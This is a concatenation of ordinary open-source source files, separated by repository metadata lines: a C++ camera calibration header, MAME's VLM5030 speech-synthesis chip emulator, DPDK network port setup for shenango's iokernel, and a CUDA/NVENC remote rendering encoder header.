// Copyright 2017 <NAME> (<EMAIL>) #pragma once #include <Eigen/Core> #include <Eigen/Dense> #include <iostream> #include <string> #include <vector> namespace fastcd { /** * @brief Class that represents a camera. It stores its calibration and * allows the projection and back-projection of points. */ class Camera { public: EIGEN_MAKE_ALIGNED_OPERATOR_NEW /** * @brief Reads the camera calibration from an XML file with Agisoft * format. * * @param[in] filename The file path. * @param[in] id The camera id in the XML file. */ void ReadCalibration(const std::string& filename, int id); /** * @brief Scales the camera calibration by the specified scaling factor. * * @param[in] scaling The scaling factor */ void ScaleCalibration(double scaling); /** * @brief Gets the calibration matrix. * * @return The calibration matrix. */ Eigen::Matrix3d GetK() const; /** * @brief Gets the inverse calibration matrix. * * @return The inverse calibration matrix. */ Eigen::Matrix3d GetInvK() const; /** * @brief Gets the pose of the camera. * * @return The pose of the camera. */ Eigen::Matrix4d GetPose() const; /** * @brief Gets the position of the camera. * * @return The position of the camera. */ Eigen::Vector3d GetPosition() const; /** * @brief Compute the OpenGL projection matrix relative to the camera. * * @return The OpenGL projection matrix. */ Eigen::Matrix4f GetGlProjection(float near, float far); /** * @brief Compute the OpenGL view matrix relative to the camera. * * @return The OpenGL view matrix. */ Eigen::Matrix4f GetGlView(); /** * @brief Return a vector of vertices for an OpenGL visualization of the * camera in the form of a line strip. * * @param[in] color The color of the line strip * @param[in] length The length of the four edges of the camera * * @return The vector of vertices. */ std::vector<float> GetGlFovVertices(float color, float length); /** * @brief Gets the width of the image plane in pixels. * * @return The width of the image plane in pixels. */ int GetWidth(); /** * @brief Gets the height of the image plane in pixels. * * @return The height of the image plane in pixels. */ int GetHeight(); /** * @brief Gets the camera projection matrix. * * @return The camera projection matrix. */ Eigen::Matrix<double, 3, 4> GetP() const; /** * @brief Projects a point on the image plane. * * @param[in] x The x coordinate * @param[in] y The y coordinate * @param[in] z The z coordinate * * @return The (u,v) coordinates of the point. */ Eigen::Vector2i Project(double x, double y, double z) const; /** * @brief Projects a point on the image plane. * * @param[in] point The 3D point * * @return The (u,v) coordinates of the point. */ Eigen::Vector2i Project(const Eigen::Vector3d& point) const; /** * @brief Back-projects a pixel. * * @param[in] u The u coordinate * @param[in] v The v coordinate * * @return The 3D coordinate of a point in the direction of the ray. */ Eigen::Vector3d BackProject(int u, int v); /** * @brief Back-projects a pixel. * * @param[in] point The 2D point * * @return The 3D coordinate of a point in the direction of the ray */ Eigen::Vector3d BackProject(const Eigen::Vector2i &point); /** * @brief Prints the camera parameters on the output stream. */ friend std::ostream& operator<<(std::ostream& os, const Camera& c); protected: /** Width of the image plane (in pixels) */ int width_ = 0; /** Height of the image plane (in pixels) */ int height_ = 0; /** Calibration matrix */ Eigen::Matrix3d calibration_ = Eigen::Matrix3d::Identity(); /** Inverse of calibration matrix */ Eigen::Matrix3d inverse_calibration_ = Eigen::Matrix3d::Identity(); /** Pose of the camera */ Eigen::Matrix4d pose_ = Eigen::Matrix4d::Identity(); }; } // namespace fastcd
0.996094
high
mame/src/emu/sound/vlm5030.c
nitrologic/emu
0
814273
<reponame>nitrologic/emu /* vlm5030.c VLM5030 emulator Written by <NAME> Based on TMS5220 simulator (tms5220.c) note: memory read cycle(==sampling rate) = 122.9u(440clock) interpolator (LC8109 = 2.5ms) = 20 * samples(125us) frame time (20ms) = 4 * interpolator 9bit DAC is composed of 5bit Physical and 3bitPWM. todo: Noise Generator circuit without 'mame_rand()' function. ----------- command format (Analytical result) ---------- 1)end of speech (8bit) :00000011: 2)silent some frame (8bit) :????SS01: SS : number of silent frames 00 = 2 frame 01 = 4 frame 10 = 6 frame 11 = 8 frame 3)-speech frame (48bit) function: 6th : 5th : 4th : 3rd : 2nd : 1st : end : --- : --- : --- : --- : --- :00000011: silent : --- : --- : --- : --- : --- :0000SS01: speech :11111122:22233334:44455566:67778889:99AAAEEE:EEPPPPP0: EEEEE : energy : volume 0=off,0x1f=max PPPPP : pitch : 0=noize , 1=fast,0x1f=slow 111111 : K1 : 48=off 22222 : K2 : 0=off,1=+min,0x0f=+max,0x10=off,0x11=+max,0x1f=-min : 16 == special function?? 3333 : K3 : 0=off,1=+min,0x07=+max,0x08=-max,0x0f=-min 4444 : K4 : 555 : K5 : 0=off,1=+min,0x03=+max,0x04=-max,0x07=-min 666 : K6 : 777 : K7 : 888 : K8 : 999 : K9 : AAA : K10 : ---------- chirp table information ---------- DAC PWM cycle == 88system clock , (11clock x 8 pattern) = 40.6KHz one chirp == 5 x PWM cycle == 440systemclock(8,136Hz) chirp 0 : volume 10- 8 : with filter chirp 1 : volume 8- 6 : with filter chirp 2 : volume 6- 4 : with filter chirp 3 : volume 4 : no filter ?? chirp 4- 5: volume 4- 2 : with filter chirp 6-11: volume 2- 0 : with filter chirp 12-..: vokume 0 : silent ---------- digial output information ---------- when ME pin = high , some status output to A0..15 pins A0..8 : DAC output value (abs) A9 : DAC sign flag , L=minus,H=Plus A10 : energy reload flag (pitch pulse) A11..15 : unknown [DAC output value(signed 6bit)] = A9 ? A0..8 : -(A0..8) */ #include "sndintrf.h" #include "streams.h" #include "vlm5030.h" /* interpolator per frame */ #define FR_SIZE 4 /* samples per interpolator */ #define IP_SIZE_SLOWER (240/FR_SIZE) #define IP_SIZE_SLOW (200/FR_SIZE) #define IP_SIZE_NORMAL (160/FR_SIZE) #define IP_SIZE_FAST (120/FR_SIZE) #define IP_SIZE_FASTER ( 80/FR_SIZE) typedef struct _vlm5030_state vlm5030_state; struct _vlm5030_state { const device_config *device; const vlm5030_interface *intf; sound_stream * channel; /* need to save state */ UINT8 *rom; int address_mask; UINT16 address; UINT8 pin_BSY; UINT8 pin_ST; UINT8 pin_VCU; UINT8 pin_RST; UINT8 latch_data; UINT16 vcu_addr_h; UINT8 parameter; UINT8 phase; /* state of option paramter */ int frame_size; int pitch_offset; UINT8 interp_step; UINT8 interp_count; /* number of interp periods */ UINT8 sample_count; /* sample number within interp */ UINT8 pitch_count; /* these contain data describing the current and previous voice frames */ UINT16 old_energy; UINT8 old_pitch; INT16 old_k[10]; UINT16 target_energy; UINT8 target_pitch; INT16 target_k[10]; UINT16 new_energy; UINT8 new_pitch; INT16 new_k[10]; /* these are all used to contain the current state of the sound generation */ unsigned int current_energy; unsigned int current_pitch; int current_k[10]; INT32 x[10]; }; /* phase value */ enum { PH_RESET, PH_IDLE, PH_SETUP, PH_WAIT, PH_RUN, PH_STOP, PH_END }; /* speed parameter SPC SPB SPA 1 0 1 more slow (05h) : 42ms (150%) : 60sample 1 1 x slow (06h,07h) : 34ms (125%) : 50sample x 0 0 normal (00h,04h) : 25.6ms (100%) : 40samplme 0 0 1 fast (01h) : 20.2ms (75%) : 30sample 0 1 x more fast (02h,03h) : 12.2ms (50%) : 20sample */ static const int vlm5030_speed_table[8] = { IP_SIZE_NORMAL, IP_SIZE_FAST, IP_SIZE_FASTER, IP_SIZE_FASTER, IP_SIZE_NORMAL, IP_SIZE_SLOWER, IP_SIZE_SLOW, IP_SIZE_SLOW }; static const char VLM_NAME[] = "VLM5030"; /* ROM Tables */ /* This is the energy lookup table */ /* sampled from real chip */ static const unsigned short energytable[0x20] = { 0, 2, 4, 6, 10, 12, 14, 18, /* 0-7 */ 22, 26, 30, 34, 38, 44, 48, 54, /* 8-15 */ 62, 68, 76, 84, 94,102,114,124, /* 16-23 */ 136,150,164,178,196,214,232,254 /* 24-31 */ }; /* This is the pitch lookup table */ static const unsigned char pitchtable [0x20]= { 1, /* 0 : random mode */ 22, /* 1 : start=22 */ 23, 24, 25, 26, 27, 28, 29, 30, /* 2- 9 : 1step */ 32, 34, 36, 38, 40, 42, 44, 46, /* 10-17 : 2step */ 50, 54, 58, 62, 66, 70, 74, 78, /* 18-25 : 4step */ 86, 94, 102,110,118,126 /* 26-31 : 8step */ }; static const INT16 K1_table[] = { -24898, -25672, -26446, -27091, -27736, -28252, -28768, -29155, -29542, -29929, -30316, -30574, -30832, -30961, -31219, -31348, -31606, -31735, -31864, -31864, -31993, -32122, -32122, -32251, -32251, -32380, -32380, -32380, -32509, -32509, -32509, -32509, 24898, 23995, 22963, 21931, 20770, 19480, 18061, 16642, 15093, 13416, 11610, 9804, 7998, 6063, 3999, 1935, 0, -1935, -3999, -6063, -7998, -9804, -11610, -13416, -15093, -16642, -18061, -19480, -20770, -21931, -22963, -23995 }; static const INT16 K2_table[] = { 0, -3096, -6321, -9417, -12513, -15351, -18061, -20770, -23092, -25285, -27220, -28897, -30187, -31348, -32122, -32638, 0, 32638, 32122, 31348, 30187, 28897, 27220, 25285, 23092, 20770, 18061, 15351, 12513, 9417, 6321, 3096 }; static const INT16 K3_table[] = { 0, -3999, -8127, -12255, -16384, -20383, -24511, -28639, 32638, 28639, 24511, 20383, 16254, 12255, 8127, 3999 }; static const INT16 K5_table[] = { 0, -8127, -16384, -24511, 32638, 24511, 16254, 8127 }; INLINE vlm5030_state *get_safe_token(const device_config *device) { assert(device != NULL); assert(device->token != NULL); assert(device->type == SOUND); assert(sound_get_type(device) == SOUND_VLM5030); return (vlm5030_state *)device->token; } static int get_bits(vlm5030_state *chip, int sbit,int bits) { int offset = chip->address + (sbit>>3); int data; data = chip->rom[offset&chip->address_mask] + (((int)chip->rom[(offset+1)&chip->address_mask])*256); data >>= (sbit&7); data &= (0xff>>(8-bits)); return data; } /* get next frame */ static int parse_frame (vlm5030_state *chip) { unsigned char cmd; int i; /* remember previous frame */ chip->old_energy = chip->new_energy; chip->old_pitch = chip->new_pitch; for(i=0;i<=9;i++) chip->old_k[i] = chip->new_k[i]; /* command byte check */ cmd = chip->rom[chip->address&chip->address_mask]; if( cmd & 0x01 ) { /* extend frame */ chip->new_energy = chip->new_pitch = 0; for(i=0;i<=9;i++) chip->new_k[i] = 0; chip->address++; if( cmd & 0x02 ) { /* end of speech */ /* logerror("VLM5030 %04X end \n",chip->address ); */ return 0; } else { /* silent frame */ int nums = ( (cmd>>2)+1 )*2; /* logerror("VLM5030 %04X silent %d frame\n",chip->address,nums ); */ return nums * FR_SIZE; } } /* pitch */ chip->new_pitch = ( pitchtable[get_bits(chip, 1,5)] + chip->pitch_offset )&0xff; /* energy */ chip->new_energy = energytable[get_bits(chip, 6,5)]; /* 10 K's */ chip->new_k[9] = K5_table[get_bits(chip,11,3)]; chip->new_k[8] = K5_table[get_bits(chip,14,3)]; chip->new_k[7] = K5_table[get_bits(chip,17,3)]; chip->new_k[6] = K5_table[get_bits(chip,20,3)]; chip->new_k[5] = K5_table[get_bits(chip,23,3)]; chip->new_k[4] = K5_table[get_bits(chip,26,3)]; chip->new_k[3] = K3_table[get_bits(chip,29,4)]; chip->new_k[2] = K3_table[get_bits(chip,33,4)]; chip->new_k[1] = K2_table[get_bits(chip,37,5)]; chip->new_k[0] = K1_table[get_bits(chip,42,6)]; chip->address+=6; logerror("VLM5030 %04X voice \n",chip->address ); return FR_SIZE; } /* decode and buffering data */ static STREAM_UPDATE( vlm5030_update_callback ) { vlm5030_state *chip = (vlm5030_state *)param; int buf_count=0; int interp_effect; int i; int u[11]; stream_sample_t *buffer = outputs[0]; /* running */ if( chip->phase == PH_RUN || chip->phase == PH_STOP ) { /* playing speech */ while (samples > 0) { int current_val; /* check new interpolator or new frame */ if( chip->sample_count == 0 ) { if( chip->phase == PH_STOP ) { chip->phase = PH_END; chip->sample_count = 1; goto phase_stop; /* continue to end phase */ } chip->sample_count = chip->frame_size; /* interpolator changes */ if ( chip->interp_count == 0 ) { /* change to new frame */ chip->interp_count = parse_frame(chip); /* with change phase */ if ( chip->interp_count == 0 ) { /* end mark found */ chip->interp_count = FR_SIZE; chip->sample_count = chip->frame_size; /* end -> stop time */ chip->phase = PH_STOP; } /* Set old target as new start of frame */ chip->current_energy = chip->old_energy; chip->current_pitch = chip->old_pitch; for(i=0;i<=9;i++) chip->current_k[i] = chip->old_k[i]; /* is this a zero energy frame? */ if (chip->current_energy == 0) { /*mame_printf_debug("processing frame: zero energy\n");*/ chip->target_energy = 0; chip->target_pitch = chip->current_pitch; for(i=0;i<=9;i++) chip->target_k[i] = chip->current_k[i]; } else { /*mame_printf_debug("processing frame: Normal\n");*/ /*mame_printf_debug("*** Energy = %d\n",chip->current_energy);*/ /*mame_printf_debug("proc: %d %d\n",last_fbuf_head,fbuf_head);*/ chip->target_energy = chip->new_energy; chip->target_pitch = chip->new_pitch; for(i=0;i<=9;i++) chip->target_k[i] = chip->new_k[i]; } } /* next interpolator */ /* Update values based on step values 25% , 50% , 75% , 100% */ chip->interp_count -= chip->interp_step; /* 3,2,1,0 -> 1,2,3,4 */ interp_effect = FR_SIZE - (chip->interp_count%FR_SIZE); chip->current_energy = chip->old_energy + (chip->target_energy - chip->old_energy) * interp_effect / FR_SIZE; if (chip->old_pitch > 1) chip->current_pitch = chip->old_pitch + (chip->target_pitch - chip->old_pitch) * interp_effect / FR_SIZE; for (i = 0; i <= 9 ; i++) chip->current_k[i] = chip->old_k[i] + (chip->target_k[i] - chip->old_k[i]) * interp_effect / FR_SIZE; } /* calcrate digital filter */ if (chip->old_energy == 0) { /* generate silent samples here */ current_val = 0x00; } else if (chip->old_pitch <= 1) { /* generate unvoiced samples here */ current_val = (mame_rand(chip->device->machine)&1) ? chip->current_energy : -chip->current_energy; } else { /* generate voiced samples here */ current_val = ( chip->pitch_count == 0) ? chip->current_energy : 0; } /* Lattice filter here */ u[10] = current_val; for (i = 9; i >= 0; i--) u[i] = u[i+1] - ((chip->current_k[i] * chip->x[i]) / 32768); for (i = 9; i >= 1; i--) chip->x[i] = chip->x[i-1] + ((chip->current_k[i-1] * u[i-1]) / 32768); chip->x[0] = u[0]; /* clipping, buffering */ if (u[0] > 511) buffer[buf_count] = 511<<6; else if (u[0] < -511) buffer[buf_count] = -511<<6; else buffer[buf_count] = (u[0] << 6); buf_count++; /* sample count */ chip->sample_count--; /* pitch */ chip->pitch_count++; if (chip->pitch_count >= chip->current_pitch ) chip->pitch_count = 0; /* size */ samples--; } /* return;*/ } /* stop phase */ phase_stop: switch( chip->phase ) { case PH_SETUP: if( chip->sample_count <= samples) { chip->sample_count = 0; /* logerror("VLM5030 BSY=H\n" ); */ /* pin_BSY = 1; */ chip->phase = PH_WAIT; } else { chip->sample_count -= samples; } break; case PH_END: if( chip->sample_count <= samples) { chip->sample_count = 0; /* logerror("VLM5030 BSY=L\n" ); */ chip->pin_BSY = 0; chip->phase = PH_IDLE; } else { chip->sample_count -= samples; } } /* silent buffering */ while (samples > 0) { buffer[buf_count++] = 0x00; samples--; } } /* realtime update */ static void vlm5030_update(vlm5030_state *chip) { stream_update(chip->channel); } /* setup parameteroption when RST=H */ static void vlm5030_setup_parameter(vlm5030_state *chip, UINT8 param) { /* latch parameter value */ chip->parameter = param; /* bit 0,1 : 4800bps / 9600bps , interporator step */ if(param&2) /* bit 1 = 1 , 9600bps */ chip->interp_step = 4; /* 9600bps : no interporator */ else if(param&1) /* bit1 = 0 & bit0 = 1 , 4800bps */ chip->interp_step = 2; /* 4800bps : 2 interporator */ else /* bit1 = bit0 = 0 : 2400bps */ chip->interp_step = 1; /* 2400bps : 4 interporator */ /* bit 3,4,5 : speed (frame size) */ chip->frame_size = vlm5030_speed_table[(param>>3) &7]; /* bit 6,7 : low / high pitch */ if(param&0x80) /* bit7=1 , high pitch */ chip->pitch_offset = -8; else if(param&0x40) /* bit6=1 , low pitch */ chip->pitch_offset = 8; else chip->pitch_offset = 0; } static STATE_POSTLOAD( vlm5030_restore_state ) { vlm5030_state *chip = (vlm5030_state *)param; int i; int interp_effect = FR_SIZE - (chip->interp_count%FR_SIZE); /* restore parameter data */ vlm5030_setup_parameter(chip, chip->parameter); /* restore current energy,pitch & filter */ chip->current_energy = chip->old_energy + (chip->target_energy - chip->old_energy) * interp_effect / FR_SIZE; if (chip->old_pitch > 1) chip->current_pitch = chip->old_pitch + (chip->target_pitch - chip->old_pitch) * interp_effect / FR_SIZE; for (i = 0; i <= 9 ; i++) chip->current_k[i] = chip->old_k[i] + (chip->target_k[i] - chip->old_k[i]) * interp_effect / FR_SIZE; } static void vlm5030_reset(vlm5030_state *chip) { chip->phase = PH_RESET; chip->address = 0; chip->vcu_addr_h = 0; chip->pin_BSY = 0; chip->old_energy = chip->old_pitch = 0; chip->new_energy = chip->new_pitch = 0; chip->current_energy = chip->current_pitch = 0; chip->target_energy = chip->target_pitch = 0; memset(chip->old_k, 0, sizeof(chip->old_k)); memset(chip->new_k, 0, sizeof(chip->new_k)); memset(chip->current_k, 0, sizeof(chip->current_k)); memset(chip->target_k, 0, sizeof(chip->target_k)); chip->interp_count = chip->sample_count = chip->pitch_count = 0; memset(chip->x, 0, sizeof(chip->x)); /* reset parameters */ vlm5030_setup_parameter(chip, 0x00); } static DEVICE_RESET( vlm5030 ) { vlm5030_reset(get_safe_token(device)); } /* set speech rom address */ void vlm5030_set_rom(const device_config *device, void *speech_rom) { vlm5030_state *chip = get_safe_token(device); chip->rom = (UINT8 *)speech_rom; } /* get BSY pin level */ int vlm5030_bsy(const device_config *device) { vlm5030_state *chip = get_safe_token(device); vlm5030_update(chip); return chip->pin_BSY; } /* latch contoll data */ WRITE8_DEVICE_HANDLER( vlm5030_data_w ) { vlm5030_state *chip = get_safe_token(device); chip->latch_data = (UINT8)data; } /* set RST pin level : reset / set table address A8-A15 */ void vlm5030_rst (const device_config *device, int pin ) { vlm5030_state *chip = get_safe_token(device); if( chip->pin_RST ) { if( !pin ) { /* H -> L : latch parameters */ chip->pin_RST = 0; vlm5030_setup_parameter(chip, chip->latch_data); } } else { if( pin ) { /* L -> H : reset chip */ chip->pin_RST = 1; if( chip->pin_BSY ) { vlm5030_reset(chip); } } } } /* set VCU pin level : ?? unknown */ void vlm5030_vcu(const device_config *device, int pin) { vlm5030_state *chip = get_safe_token(device); /* direct mode / indirect mode */ chip->pin_VCU = pin; return; } /* set ST pin level : set table address A0-A7 / start speech */ void vlm5030_st(const device_config *device, int pin ) { vlm5030_state *chip = get_safe_token(device); int table; if( chip->pin_ST != pin ) { /* pin level is change */ if( !pin ) { /* H -> L */ chip->pin_ST = 0; if( chip->pin_VCU ) { /* direct access mode & address High */ chip->vcu_addr_h = ((int)chip->latch_data<<8) + 0x01; } else { /* start speech */ /* check access mode */ if( chip->vcu_addr_h ) { /* direct access mode */ chip->address = (chip->vcu_addr_h&0xff00) + chip->latch_data; chip->vcu_addr_h = 0; } else { /* indirect accedd mode */ table = (chip->latch_data&0xfe) + (((int)chip->latch_data&1)<<8); chip->address = (((int)chip->rom[table&chip->address_mask])<<8) | chip->rom[(table+1)&chip->address_mask]; #if 0 /* show unsupported parameter message */ if( chip->interp_step != 1) popmessage("No %d %dBPS parameter",table/2,chip->interp_step*2400); #endif } vlm5030_update(chip); /* logerror("VLM5030 %02X start adr=%04X\n",table/2,chip->address ); */ /* reset process status */ chip->sample_count = chip->frame_size; chip->interp_count = FR_SIZE; /* clear filter */ /* start after 3 sampling cycle */ chip->phase = PH_RUN; } } else { /* L -> H */ chip->pin_ST = 1; /* setup speech , BSY on after 30ms? */ chip->phase = PH_SETUP; chip->sample_count = 1; /* wait time for busy on */ chip->pin_BSY = 1; /* */ } } } /* start VLM5030 with sound rom */ /* speech_rom == 0 -> use sampling data mode */ static DEVICE_START( vlm5030 ) { const vlm5030_interface defintrf = { 0 }; int emulation_rate; vlm5030_state *chip = get_safe_token(device); chip->device = device; chip->intf = (device->static_config != NULL) ? (const vlm5030_interface *)device->static_config : &defintrf; emulation_rate = device->clock / 440; /* reset input pins */ chip->pin_RST = chip->pin_ST = chip->pin_VCU= 0; chip->latch_data = 0; vlm5030_reset(chip); chip->phase = PH_IDLE; chip->rom = device->region; /* memory size */ if( chip->intf->memory_size == 0) chip->address_mask = device->regionbytes-1; else chip->address_mask = chip->intf->memory_size-1; chip->channel = stream_create(device, 0, 1, emulation_rate,chip,vlm5030_update_callback); /* don't restore "UINT8 *chip->rom" when use vlm5030_set_rom() */ state_save_register_device_item(device,0,chip->address); state_save_register_device_item(device,0,chip->pin_BSY); state_save_register_device_item(device,0,chip->pin_ST); state_save_register_device_item(device,0,chip->pin_VCU); state_save_register_device_item(device,0,chip->pin_RST); state_save_register_device_item(device,0,chip->latch_data); state_save_register_device_item(device,0,chip->vcu_addr_h); state_save_register_device_item(device,0,chip->parameter); state_save_register_device_item(device,0,chip->phase); state_save_register_device_item(device,0,chip->interp_count); state_save_register_device_item(device,0,chip->sample_count); state_save_register_device_item(device,0,chip->pitch_count); state_save_register_device_item(device,0,chip->old_energy); state_save_register_device_item(device,0,chip->old_pitch); state_save_register_device_item_array(device,0,chip->old_k); state_save_register_device_item(device,0,chip->target_energy); state_save_register_device_item(device,0,chip->target_pitch); state_save_register_device_item_array(device,0,chip->target_k); state_save_register_device_item_array(device,0,chip->x); state_save_register_postload(device->machine, vlm5030_restore_state, chip); } /************************************************************************** * Generic get_info **************************************************************************/ DEVICE_GET_INFO( vlm5030 ) { switch (state) { /* --- the following bits of info are returned as 64-bit signed integers --- */ case DEVINFO_INT_TOKEN_BYTES: info->i = sizeof(vlm5030_state); break; /* --- the following bits of info are returned as pointers to data or functions --- */ case DEVINFO_FCT_START: info->start = DEVICE_START_NAME( vlm5030 ); break; case DEVINFO_FCT_STOP: /* Nothing */ break; case DEVINFO_FCT_RESET: info->reset = DEVICE_RESET_NAME( vlm5030 ); break; /* --- the following bits of info are returned as NULL-terminated strings --- */ case DEVINFO_STR_NAME: strcpy(info->s, "VLM5030"); break; case DEVINFO_STR_FAMILY: strcpy(info->s, "VLM speech"); break; case DEVINFO_STR_VERSION: strcpy(info->s, "1.0"); break; case DEVINFO_STR_SOURCE_FILE: strcpy(info->s, __FILE__); break; case DEVINFO_STR_CREDITS: strcpy(info->s, "Copyright <NAME> and the MAME Team"); break; } }
0.96875
high
iokernel/dpdk.c
andreybleme/shenango
1
814785
/*- * BSD LICENSE * * Copyright(c) 2010-2015 Intel Corporation. All rights reserved. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of Intel Corporation nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * dpdk.c - DPDK initialization for the iokernel dataplane */ #include <inttypes.h> #include <rte_eal.h> #include <rte_ethdev.h> #include <rte_ether.h> #include <rte_lcore.h> #include <base/log.h> #include "defs.h" #define RX_RING_SIZE 256 #define TX_RING_SIZE 256 static const struct rte_eth_conf port_conf_default = { .rxmode = { .max_rx_pkt_len = ETHER_MAX_LEN, .offloads = DEV_RX_OFFLOAD_IPV4_CKSUM, .mq_mode = ETH_MQ_RX_RSS | ETH_MQ_RX_RSS_FLAG, }, .rx_adv_conf = { .rss_conf = { .rss_key = NULL, .rss_hf = ETH_RSS_TCP | ETH_RSS_UDP, }, }, .txmode = { .offloads = DEV_TX_OFFLOAD_IPV4_CKSUM | DEV_TX_OFFLOAD_UDP_CKSUM | DEV_TX_OFFLOAD_TCP_CKSUM, }, }; /* * Initializes a given port using global settings and with the RX buffers * coming from the mbuf_pool passed as a parameter. */ static inline int dpdk_port_init(uint8_t port, struct rte_mempool *mbuf_pool) { struct rte_eth_conf port_conf = port_conf_default; const uint16_t rx_rings = 1, tx_rings = 1; uint16_t nb_rxd = RX_RING_SIZE; uint16_t nb_txd = TX_RING_SIZE; int retval; uint16_t q; struct rte_eth_dev_info dev_info; struct rte_eth_txconf *txconf; struct rte_eth_rxconf *rxconf; if (!rte_eth_dev_is_valid_port(port)) return -1; /* Configure the Ethernet device. */ retval = rte_eth_dev_configure(port, rx_rings, tx_rings, &port_conf); if (retval != 0) return retval; retval = rte_eth_dev_adjust_nb_rx_tx_desc(port, &nb_rxd, &nb_txd); if (retval != 0) return retval; rte_eth_dev_info_get(0, &dev_info); rxconf = &dev_info.default_rxconf; rxconf->rx_free_thresh = 64; /* Allocate and set up 1 RX queue per Ethernet port. */ for (q = 0; q < rx_rings; q++) { retval = rte_eth_rx_queue_setup(port, q, nb_rxd, rte_eth_dev_socket_id(port), rxconf, mbuf_pool); if (retval < 0) return retval; } /* Enable TX offloading */ txconf = &dev_info.default_txconf; txconf->tx_rs_thresh = 64; txconf->tx_free_thresh = 64; /* Allocate and set up 1 TX queue per Ethernet port. */ for (q = 0; q < tx_rings; q++) { retval = rte_eth_tx_queue_setup(port, q, nb_txd, rte_eth_dev_socket_id(port), txconf); if (retval < 0) return retval; } /* Start the Ethernet port. */ retval = rte_eth_dev_start(port); if (retval < 0) return retval; /* Display the port MAC address. */ struct ether_addr addr; rte_eth_macaddr_get(port, &addr); log_info("dpdk: port %u MAC: %02" PRIx8 " %02" PRIx8 " %02" PRIx8 " %02" PRIx8 " %02" PRIx8 " %02" PRIx8 "", (unsigned)port, addr.addr_bytes[0], addr.addr_bytes[1], addr.addr_bytes[2], addr.addr_bytes[3], addr.addr_bytes[4], addr.addr_bytes[5]); /* Enable RX in promiscuous mode for the Ethernet device. */ rte_eth_promiscuous_enable(port); return 0; } /* * Log some ethernet port stats. */ void dpdk_print_eth_stats() { int ret; struct rte_eth_stats stats; ret = rte_eth_stats_get(dp.port, &stats); if (ret) log_debug("dpdk: error getting eth stats"); fprintf(stderr, "eth stats for port %d at time %"PRIu64"\n", dp.port, microtime()); fprintf(stderr, "RX-packets: %"PRIu64" RX-dropped: %"PRIu64" RX-bytes: %"PRIu64"\n", stats.ipackets, stats.imissed, stats.ibytes); fprintf(stderr,"TX-packets: %"PRIu64" TX-bytes: %"PRIu64"\n", stats.opackets, stats.obytes); fprintf(stderr,"RX-error: %"PRIu64" TX-error: %"PRIu64" RX-mbuf-fail: %"PRIu64"\n", stats.ierrors, stats.oerrors, stats.rx_nombuf); } /* * Initialize dpdk, must be done as soon as possible. */ int dpdk_init() { char *argv[4]; char buf[10]; /* init args */ argv[0] = "./iokerneld"; argv[1] = "-l"; /* use our assigned core */ sprintf(buf, "%d", core_assign.dp_core); argv[2] = buf; argv[3] = "--socket-mem=128"; /* initialize the Environment Abstraction Layer (EAL) */ int ret = rte_eal_init(sizeof(argv) / sizeof(argv[0]), argv); if (ret < 0) { log_err("dpdk: error with EAL initialization"); return -1; } /* check that there is a port to send/receive on */ if (!rte_eth_dev_is_valid_port(0)) { log_err("dpdk: no available ports"); return -1; } if (rte_lcore_count() > 1) log_warn("dpdk: too many lcores enabled, only 1 used"); return 0; } /* * Additional dpdk initialization that must be done after rx init. */ int dpdk_late_init() { /* initialize port */ dp.port = 1; if (dpdk_port_init(dp.port, dp.rx_mbuf_pool) != 0) { log_err("dpdk: cannot init port %"PRIu8 "\n", dp.port); return -1; } return 0; }
0.992188
high
RemoteRenderer/RemoteEncoder.h
cheichler/RemoteRendering
8
815297
/************************************************************************* Copyright 2014 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *************************************************************************/ #pragma once #include "UdpSocket.h" #include <Windows.h> #include <NVEncoderAPI.h> #include <cuda.h> #include <NVEncodeDataTypes.h> #include <nvcuvid.h> #include <iostream> #include "types.h" #define ASPECT_WIDTH 4 #define ASPECT_HEIGHT 3 using namespace std; class RemoteEncoder { public: RemoteEncoder(int o_width, int o_height); ~RemoteEncoder(); //Encoding bool encodePB(); void handleCudaError(CUresult cuRes, const char* c); void setDevicePtr(CUdeviceptr dptr); //Getter / Setter unsigned char *getCharBuf(){return outBuf;} void setClientUdp(UdpSocket* c){client = c;} UdpSocket* getClient(){return client;} void incPicID(){picId = (picId++) % 256;} UINT8 getPicId(){return picId;} int getWidth() {return width;} int getHeight() {return height;} void setPicBuf(unsigned char* buf){m_efParams.picBuf = buf;} private: //Error Handling void handleHR(HRESULT hr, const char* c); //Create Cuda void createCuda(); //Set Params void setEncoderParams(); //Set Callbacks bool setCBFunctions(NVVE_CallbackParams *pCB, void *pUserData); // Encoding Stuff NVEncoderParams* m_EncoderParams; NVVE_CallbackParams m_cbParams; NVVE_EncodeFrameParams m_efParams; NVVE_CallbackParams m_NVCB; //Cuda CUdevice m_cuDevice; CUcontext m_cuContext; CUvideoctxlock m_cuCtxLock; CUdeviceptr dptr; void* m_CudaEncoder; //General Stuff int width, height; UINT8 picId; UdpSocket* client; unsigned char* outBuf; HRESULT errorHandling; bool latencyMeasure; };
0.996094
high
include/nighthawk/common/rate_limiter.h
kushthedude/nighthawk
0
